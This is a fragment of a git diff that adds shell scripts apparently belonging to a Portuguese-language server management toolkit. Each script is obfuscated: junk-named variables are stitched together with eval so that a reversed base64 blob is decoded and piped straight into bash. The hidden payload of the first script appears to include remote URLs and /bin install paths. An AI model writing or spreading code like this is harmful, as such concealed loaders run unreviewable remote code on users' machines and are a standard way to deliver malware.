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 | r";IrqnYIMQzDXkMWKAlQPOHbGguaQCMVNaPDjnWYnwStxjjCevlcsgdVwyagbBlBzZADAaDaQaNkbYDyYdJMjvHTxhxhzffnInSYVQ="oZdbAAexRNSnIQMpAUtnBaayaweqccvcUrJztnFrqFISEhnERganNzFxXuldwraDKqUbKVJgPkjQjUXBCdVRnzhNWIBXbofBpphY";OdQZQeAeguoiomHAHkgSuyqSlDxXZeGkFvtZIELYvyLqLUyJdereRlsdRfEUvAcQhNuEmyLDrSlIKkSsdHrTxjYbXjycrgCOuNzv="";GRrbryBEdzFoPyQmGPaphovnhOHwiEgxHRZrxKVqJeinShQOVpzJRErXrqVNLuSXTKVmLKwuHdqYrfNqzmpMPdMxPDQEsIycMjCZ="as";VRPDGyytGUmAjDikoqCchxSXtlaoHZktlkzGhDJqPFcnvfSaywwVHgXLhnCeIVjlHDXeJpGjuUpOQXcnWboMoPhWOoGXXQgBxszs="QSOLOPZEtAKaIasrwvwtSjwLWYQIPHtnrKofGJLebMResgZPQwWtEHdElQqYOHOZhJeslcnsPsVSXzHDXfOOoCsPCgUawUwlXSTJ";oiyskSfktYUfusxJuCbrDwdMUzjqIuwciOZcjJAxZMiTnmhMsRlNLhyYOsQajRpTliSroeXdGhpmlZQINRRJeWNRgBkGmEQJQMwM="THMCzkmJzrEfcMnKKXXbyZNzkkudbcAfCSrIJKvWNgNQlrJJyemuStwRdJCsrANxdXVnJHTzvrifzZMyzzYoATtQnKldDwaXreXH";WzjScndIZHdSFxjYgxdFNcFfzGsyXvPhnlrKrrhvPRTwwKsWeZgygJFyZfSLcOJfBSVSjxxfmhTIqnUYWyZkFNTmTwLSjAfYdYZm="o";dhNgTKpHPWUTueyqbGZRAfSEENDetFAKwbIsnEGvzIcjcnVjPBSjAJSJHnZhqhrthfURoKdEVmzrjkpCtGJGJDakYROrsoYEIxkT="6";ETuCUiELpEJOABpDgpfOniZsBmSxKZUxJdtWYSXQdWNxcQePVumbuhDBcVcVmHGXjPIjodogceeQFkoeymnkKokIGhUiAvnGWnGw="qMppQoutsyYqgnOGrXlQokGfTAaxpcNCgOlQydPJXftUOolphpXnpfwUrdIYYLMFZkbQQCaDwYnroOAtmLaVPTvYJUEnBIqJMdFH";FtCdfNgIRBMxEibRTdpUhSLLeFXhrpXeWzfCemXkcuiALMmALTXHraIqwxnPlKAMmYTgRorrPYnFfOjTTqvOlLFeKRdoqQuVrutj=" -d";VBJopjKTkGMpeyKyrUkBhrVykZkREduNaNtCCycdGbPLqtzYTmPwXEoqtVqqvjDQuRtSSzKMeuxPDztVHMTLUbMUfUuzijdxhZCB="gBXEIIsKgIjkfqlobRHNEhIhZxIgKFmVaZPwPhbgFVjODdrGDZMztYJchwBosfgwDJmobNOQOWiKCuozorVmecWrpVYCuZtCFUoa";fdEHVAoTyChixMDOLSMWCOerBIjJfhHWZAapAydlxSUtgYnHbXRfQinEWIlDCqbLylwKVvzrMFERqmceflHHqXDxYZsxuBcjMgXL="";mcvRWBSpdsAvSlbGQIyggQPlfYFebzOHNkmdSiOxqgvdcQqfuHakHzHjdYyEtpPJszvmloIYhfGUjQmswJRQCWgQBSugDIVdLjMA="b";XcPdfRsyCKCqCLOqdnxFspDYVVxsYmWGxhCnBKhLLCkeljvXBCCetJkcOPRRVyHQDwkrByJtyqlYLEndytTZqSafvBFPgHMUYFnB="e";rYWlQvPsLfdCuQblUNEBmpOdCULRetjGVAWOkhEthTJgFAmptFaTpsSaaJvPGphnnJBhttIYFsBpJxDaNvVZPFcvBqGZJyFjAEsF="v |";Tx=Eds;uymTqrUAYFOEXGReFLCruLpbBcjdcZfSPoHpOWpMTuhwtlFzeJskDEcpZKduLcwlybujxKQqPIpwHXEjuZgFiuniSZuwMMXlNdQC="";ITzSQEGGfdQHBRFyZPChSZjbEzdfkslWSQAaRUHOgvYNasIlyVlEtpKURwlqrFbbLbNDbMHVyWtsKKvQcTPPCYnQkhsvwStwBZgg=$(eval "$OdQZQeAeguoiomHAHkgSuyqSlDxXZeGkFvtZIELYvyLqLUyJdereRlsdRfEUvAcQhNuEmyLDrSlIKkSsdHrTxjYbXjycrgCOuNzv$XcPdfRsyCKCqCLOqdnxFspDYVVxsYmWGxhCnBKhLLCkeljvXBCCetJkcOPRRVyHQDwkrByJtyqlYLEndytTZqSafvBFPgHMUYFnB$ItEeoteCPQyZjEHUnBtIUVfOyicFcyAYjxURxmjJassOWzcSaNqrDpZZsxVGqGMJLdSujCOTxUyzIjyKZafEgJtpJItSskmtQXRj$NBjKqgnlrAXfYlXRevBKGkIsMktXdOZqxZumTbfDTbTeNVNyJxfwfdmZAPhOgGuhRqSbnjbMVnIaGxuzXrPivbsYVOEAiyUOgeJv$WzjScndIZHdSFxjYgxdFNcFfzGsyXvPhnlrKrrhvPRTwwKsWeZgygJFyZfSLcOJfBSVSjxxfmhTIqnUYWyZkFNTmTwLSjAfYdYZm$jbOLajYbAaWPyQxihGsaBXpGclSkqAhwRlxvTRnpXoqxsJAIKepYQAuGpLyMYMqfNempNmjIVPHBCFyvkbzkXwXvjAUCPXxTFkFE$XcPdfRsyCKCqCLOqdnxFspDYVVxsYmWGxhCnBKhLLCkeljvXBCCetJkcOPRRVyHQDwkrByJtyqlYLEndytTZqSafvBFPgHMUYFnB$rYWlQvPsLfdCuQblUNEBmpOdCULRetjGVAWOkhEthTJgFAmptFaTpsSaaJvPGphnnJBhttIYFsBpJxDaNvVZPFcvBqGZJyFjAEsF$OdQZQeAeguoiomHAHkgSuyqSlDxXZeGkFvtZIELYvyLqLUyJdereRlsdRfEUvAcQhNuEmyLDrSlIKkSsdHrTxjYbXjycrgCOuNzv$mcvRWBSpdsAvSlbGQIyggQPlfYFebzOHNkmdSiOxqgvdcQqfuHakHzHjdYyEtpPJszvmloIYhfGUjQmswJRQCWgQBSugDIVdLjMA$uymTqrUAYFOEXGReFLCruLpbBcjdcZfSPoHpOWpMTuhwtlFzeJskDEcpZKduLcwlybujxKQqPIpwHXEjuZgFiuniSZuwMMXlNdQC$GRrbryBEdzFoPyQmGPaphovnhOHwiEgxHRZrxKVqJeinShQOVpzJRErXrqVNLuSXTKVmLKwuHdqYrfNqzmpMPdMxPDQEsIycMjCZ$XcPdfRsyCKCqCLOqdnxFspDYVVxsYmWGxhCnBKhLLCkeljvXBCCetJkcOPRRVyHQDwkrByJtyqlYLEndytTZqSafvBFPgHMUYFnB$dhNgTKpHPWUTueyqbGZRAfSEENDetFAKwbIsnEGvzIcjcnVjPBSjAJSJHnZhqhrthfURoKdEVmzrjkpCtGJGJDakYROrsoYEIxkT$NBjKqgnlrAXfYlXRevBKGkIsMktXdOZqxZumTbfDTbTeNVNyJxfwfdmZAPhOgGuhRqSbnjbMVnIaGxuzXrPivbsYVOEAiyUOgeJv$HOpQkMUFPgWqyiENAzcZxuxIuYfFZkzUoZMpZfNGUSLSoITiBzQjmUmybgdlTeUqsWpbETnjIQzFxDuUpJoGMRDUhMHNgLcBNSgb$FtCdfNgIRBMxEibRTdpUhSLLeFXhrpXeWzfCemXkcuiALMmALTXHraIqwxnPlKAMmYTgRorrPYnFfOjTTqvOlLFeKRdoqQuVrutj$uymTqrUAYFOEXGReFLCruLpbBcjdcZfSPoHpOWpMTuhwtlFzeJskDEcpZKduLcwlybujxKQqPIpwHXEjuZgFiuniSZuwMMXlNdQC");eval "$fdEHVAoTyChixMDOLSMWCOerBIjJfhHWZAapAydlxSUtgYnHbXRfQinEWIlDCqbLylwKVvzrMFERqmceflHHqXDxYZsxuBcjMgXL$ITzSQEGGfdQHBRFyZPChSZjbEzdfkslWSQAaRUHOgvYNasIlyVlEtpKURwlqrFbbLbNDbMHVyWtsKKvQcTPPCYnQkhsvwStwBZgg$OdQZQeAeguoiomHAHkgSuyqSlDxXZeGkFvtZIELYvyLqLUyJdereRlsdRfEUvAcQhNuEmyLDrSlIKkSsdHrTxjYbXjycrgCOuNzv$NBjKqgnlrAXfYlXRevBKGkIsMktXdOZqxZumTbfDTbTeNVNyJxfwfdmZAPhOgGuhRqSbnjbMVnIaGxuzXrPivbsYVOEAiyUOgeJv" \ No newline at end of file diff --git a/Lista/ultrahost b/Lista/ultrahost new file mode 100755 index 0000000..9d6b728 --- /dev/null +++ b/Lista/ultrahost @@ -0,0 +1,2 @@ +#!/bin/bash +kgzmQIFofizfejlqlAFfOAygyzWEyzECzKkUQJiKznuOOuNtvTueZnsvUWfcKQGTnhSDVFoXhLVEXapfberJBugDjBhlOklZdrKZ="dPrJpgbayTZaVpGGOlwkecQjaWsNcMOlTyhvDiXHcceMTpcjdaImokSxsNvGFIINEVJRdyMfIfAMvMpJoBZTNftpvCleDKsYaiLr";caDFxMndetUPRPDDJpgswUobKRFMtWTIuuUJOJnwquaOFhZfTjklvzMqiVlVRDiRwsUIjfcClDfvRMjxsljkYuvszAAibpTZmPAI="JsDJSXrXyNkmQOUVLzGgXQHmfPrIxgIlWqLqWAoSZINtJkssVqYpqSlvnOpYWBocWSLdVigSSdpicIGHdDGDetuvUVydjJgommXe";fBFaTHZDUPGRvGBwTltLWZZGcFyxCmImZGkRIqzDgcdPuvcDBPitcvZKGINhIFcwpdNbnMXTUBZVoUoPIMKlZBZZDKzuEWYokpCT="ch";dvSvIrqCzjYFfZlGbkHVyzNBbMHFhIEmGztCFHrlcrfUKHEcymPtgtQttWdANvzIuAIhKUEWnvYycGirWQXLQCoeQsPHWOeaEyis="4";lROyAPpHRHSlWDScyBTswYsDeKWCAdnruYzJzomIBloySIxnDogluxCIVGtnLrzZWrwbIeFSzQbsaHHxFPUInjVbcsTFNkbTFpLf="";emZwlStMkiXxYzohWegamPGmguHoaMzKcWlVTovenXnOIAvhMPtSnAsDUQWAqMcWsMYGJPwCVAPhZKfyiJFLDUVZTooCXSxBNtUK="DwnsQIGUaXMkfoobeXQYctXYCCsBJFfRcymEbJTOPTfFPPsNAVpMvoLHQFjgtzzktEtNpCdqeMIKTQQgjYIOqJUOEzebYdEUineK";yJhcRmIhiTJfuWZxFsRYwQrBgNEyDaNStGadFlJOnfTCznMvwAXZpPidLtNZUrGRDxuWnYZHkkUjPvCOuYCmnHvODKzbosdGxCGY=" ==gCi0GMbNzMwwVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZKYiJgISbws1MzADX0xWdzVmciV3cvUUTPhEJgoDIuVGIvRWYyVmbldEIvJHdzl2ZlJVbyMzOxs1MzADXiASZtAyboNWZKYiJg0VXgICMiASPg8DJgs1WKIDJgEDJgIXYpNWaulmCi0GMbNzMwwVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZKISKOF0QThCIT9EVOVUTJRURD9kUQByTE5UQalETBl0QJ5USg02MzsTMbNzMwwlIgUWLg8GajVmCi0GMbNzMwwVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZKQFUJJ1QTBSQJNUSOl0IKoQfKADIuJXd0VmcK0HIgAiCi0GMbNzMwwVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZgACIK0DI21CIwVmcnxHdsV3clJnY1N3LF10TIRCI0F2YgACIKISbyMzOxs1MzADXiASZu1CIvh2YlBCIgowegYiJg0VXgkSW8lHfTx3coAEI9Aib5RCIbtFIgAiCulHIkFWZyByOiAiOd50LTtFI/M3bkFGdsV3clJFIz9GbgIXatlmcw1WSgEWZzVGRiASZu1CIvh2YlpgItBzWzMDMc1TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90WMzsTMbNzMwwlbcN3bkFmc1RHchNEIzR3cvhEIUx0USRSbyMzOxs1MzADXuxVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZgYiJgkSK08SKs1CIjdHf0xWdzVmciV3cvUUTPhEJgQXYjhCJogCJ9QFTTJlCl52bkpwahVmciBiJmASXdBiIxICI0xWLgkydtAyY3xHc1t2bvx2cuBiZvRWawhCJgs1WK8GZgsTZ1JHdgUGbph2dKUmbvRmCmASKKAVSgQXZz5WdKQHb1NXZyJWdz9SRN9ESkAiP+AiI90TP90TP90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 | r";YxPeKfTDrKkHPnaFgpChawHIlyntIJXYhDJxjtIQWESvLKitqXIoBlRvRBjAjblWGgrZrtRGeVeyFbEGVkVyCyCDVKdgLaNvAgqk="ALgftxrxYriOLQLfmkAyunQaDDaDYQOWasJgnaNlrQUpuXXdLaUfZJzWhqfjYvtyArpCbVnKKEIUqQHQKHWvaYcVAyjGHphIHvef";lTJYGTSSfLgerXfdGsbpWrMebUynTFbmnOlBjBxpHVACEjjSUBHWZLVnPNHNNDctIsihFJgOYmJoeKcwLEmSXzISFGNHyNJWbAbp="";VlXQTdihoxGffGgDIgBCcVlxbKHnQiqnekoLPBoDMYYQDfxkrAkMkXNjWrGTHDUUdIoLrCOdzxqtHyeASoOWWTWXiWmkdXkgAhyN="as";BJvAjHkbmETjWGNTgjyKXqUQyBKpOHkZHXYhwPGhzbyoaGUoRZAXGEHBctwPKdMCLPxRnBwyzPIVDWDnykEMBaRhRfvfVzlMMRjg="ddUxDpQYTjNZHNNswcoXijqYloZbanCxlewYgLmkrIjrwKzkZuGsHZHtHXBKASVHLNUsMBATRLKVuIFiVsRPfEiVVGADwxfnddjH";hBYHJSZlsPPxHslajGbzmbQgYSpZVTToksQJoZWWsIQMheZUvXZTMONduesXTaHwBvUyNkIXFsDAsUgMsmRrIhMBRonSwbJVvtWK="BRAHompoRXfWwexLRcmSImnkfnWDbUwQjiJPszuSpYlAqyJLCuqexHvktKieflEhBttHVjcBuTlJYRYdnVIBWzhqnuzsdpCUaiiQ";mfLxicnZqgigGuiYUwdQxbLbLGOjspjgHxqzRjnImnzdrAWbmXgwrvedsMWljobhkjJAsIaYxkQItEWbhMlCmAHbATXydetnXwhA="o";ovQVghKtcpPdmXNlBwWEHLOgqHvUdzLcdyuCwJHpaGqXtjeKFFgCFvMzLZTdFVoVlfpofgCzrwlLofwsTzZxahfLsTtgBcRigBJQ="6";BVumzGFVfMeaCKvrqcJqOBLQzkSMgkxRuEnvXpvMoVvYpWfLMXDXkGAldgvzRHllAawdWLgGiHgGYddIkWctqZZbTJXoyXKZyOSY="bgVEVRhNZbfHKecxjDlMcbSQstijGIggJqlwZVgnyaWSRQWVxVilCtdtEhDqhOfKudWfovRNNBanUfTWjuleFeQjolFBWXUlzwZa";AcMpEiBIiRAQIbJmTYBBaOWzmqzdRUHOCWOzysvmByzbYfcBggwjpOOnIqjDorwXfNTnviQNUfBjbYuTsknIQVYSBnKvqDBEoJLY=" -d";hOCvxhXchojVvBHHqwZzpgDJwGZaqebtiBzHluoYYHMbkwJpiWaYCIpQqLBDwEkhJApiTnopfByuSLEcJEnZdJlaBoGbcpzstdzH="rBAZgCTvoNiDtkqvlAGhPeKTgAPGdlytlAoicVNAExRzCPuzXPfSvFIZkVoAickrGEHJscMgMcMkfxAfCFJLBlAaKRwTtjOTJpYT";AOrYntxxGrhIDQzTYneTlRFbPBiLOqCuXOGmivMyRlnFnJQBqDapsINNNyUGeWIXrPqSipugHcVWwCbwVfJusgpfcNAaWGWSOPWZ="";kRCSaRtVMDstocEPtDYCcEfZmLGCXTnkCdRqRCaPrOCoyWRWHeqoxqlQYpCaQzsXtATVoBsjZEdALOCoSSxJoiYdklqBYLvNILhH="b";SaFTaUhaoNAZxwydtTiFCTIiGsInRNQzTiyKkQeerGwtkpToBSrKfqGxrNRkjeokrVEWCdoXYVJusNqvBiSTjtFhDYKpKxfkxgJQ="e";kwtGrksgFxPwtysoLaGLKPrkoecmDvDZqIEwlrngNdldydqUBQaHpBvMWRImEWIGZRTwcVaeixmrSePyACusePehIqVsVuiIWfxa="v |";Tx=Eds;LTPhzPSuiGzsxYKrUTSSnWuNKShFIQxGIWpwoYfepEDXvZsEWJZktYhpjuiKoxVXPQKETadKhPSgHrCtRFRPAXFjXekPxHJFPiFq="";UUPbIzUyRAzDegEMWOmlYHsDMMRJaUQrUkQvNevfZbQCfbEwKofGhPRFYueNTdqPdTxSxJEKNClzagwnzQYYhgUiMxcKNbOgnKRO=$(eval "$lTJYGTSSfLgerXfdGsbpWrMebUynTFbmnOlBjBxpHVACEjjSUBHWZLVnPNHNNDctIsihFJgOYmJoeKcwLEmSXzISFGNHyNJWbAbp$SaFTaUhaoNAZxwydtTiFCTIiGsInRNQzTiyKkQeerGwtkpToBSrKfqGxrNRkjeokrVEWCdoXYVJusNqvBiSTjtFhDYKpKxfkxgJQ$fBFaTHZDUPGRvGBwTltLWZZGcFyxCmImZGkRIqzDgcdPuvcDBPitcvZKGINhIFcwpdNbnMXTUBZVoUoPIMKlZBZZDKzuEWYokpCT$lROyAPpHRHSlWDScyBTswYsDeKWCAdnruYzJzomIBloySIxnDogluxCIVGtnLrzZWrwbIeFSzQbsaHHxFPUInjVbcsTFNkbTFpLf$mfLxicnZqgigGuiYUwdQxbLbLGOjspjgHxqzRjnImnzdrAWbmXgwrvedsMWljobhkjJAsIaYxkQItEWbhMlCmAHbATXydetnXwhA$yJhcRmIhiTJfuWZxFsRYwQrBgNEyDaNStGadFlJOnfTCznMvwAXZpPidLtNZUrGRDxuWnYZHkkUjPvCOuYCmnHvODKzbosdGxCGY$SaFTaUhaoNAZxwydtTiFCTIiGsInRNQzTiyKkQeerGwtkpToBSrKfqGxrNRkjeokrVEWCdoXYVJusNqvBiSTjtFhDYKpKxfkxgJQ$kwtGrksgFxPwtysoLaGLKPrkoecmDvDZqIEwlrngNdldydqUBQaHpBvMWRImEWIGZRTwcVaeixmrSePyACusePehIqVsVuiIWfxa$lTJYGTSSfLgerXfdGsbpWrMebUynTFbmnOlBjBxpHVACEjjSUBHWZLVnPNHNNDctIsihFJgOYmJoeKcwLEmSXzISFGNHyNJWbAbp$kRCSaRtVMDstocEPtDYCcEfZmLGCXTnkCdRqRCaPrOCoyWRWHeqoxqlQYpCaQzsXtATVoBsjZEdALOCoSSxJoiYdklqBYLvNILhH$LTPhzPSuiGzsxYKrUTSSnWuNKShFIQxGIWpwoYfepEDXvZsEWJZktYhpjuiKoxVXPQKETadKhPSgHrCtRFRPAXFjXekPxHJFPiFq$VlXQTdihoxGffGgDIgBCcVlxbKHnQiqnekoLPBoDMYYQDfxkrAkMkXNjWrGTHDUUdIoLrCOdzxqtHyeASoOWWTWXiWmkdXkgAhyN$SaFTaUhaoNAZxwydtTiFCTIiGsInRNQzTiyKkQeerGwtkpToBSrKfqGxrNRkjeokrVEWCdoXYVJusNqvBiSTjtFhDYKpKxfkxgJQ$ovQVghKtcpPdmXNlBwWEHLOgqHvUdzLcdyuCwJHpaGqXtjeKFFgCFvMzLZTdFVoVlfpofgCzrwlLofwsTzZxahfLsTtgBcRigBJQ$lROyAPpHRHSlWDScyBTswYsDeKWCAdnruYzJzomIBloySIxnDogluxCIVGtnLrzZWrwbIeFSzQbsaHHxFPUInjVbcsTFNkbTFpLf$dvSvIrqCzjYFfZlGbkHVyzNBbMHFhIEmGztCFHrlcrfUKHEcymPtgtQttWdANvzIuAIhKUEWnvYycGirWQXLQCoeQsPHWOeaEyis$AcMpEiBIiRAQIbJmTYBBaOWzmqzdRUHOCWOzysvmByzbYfcBggwjpOOnIqjDorwXfNTnviQNUfBjbYuTsknIQVYSBnKvqDBEoJLY$LTPhzPSuiGzsxYKrUTSSnWuNKShFIQxGIWpwoYfepEDXvZsEWJZktYhpjuiKoxVXPQKETadKhPSgHrCtRFRPAXFjXekPxHJFPiFq");eval 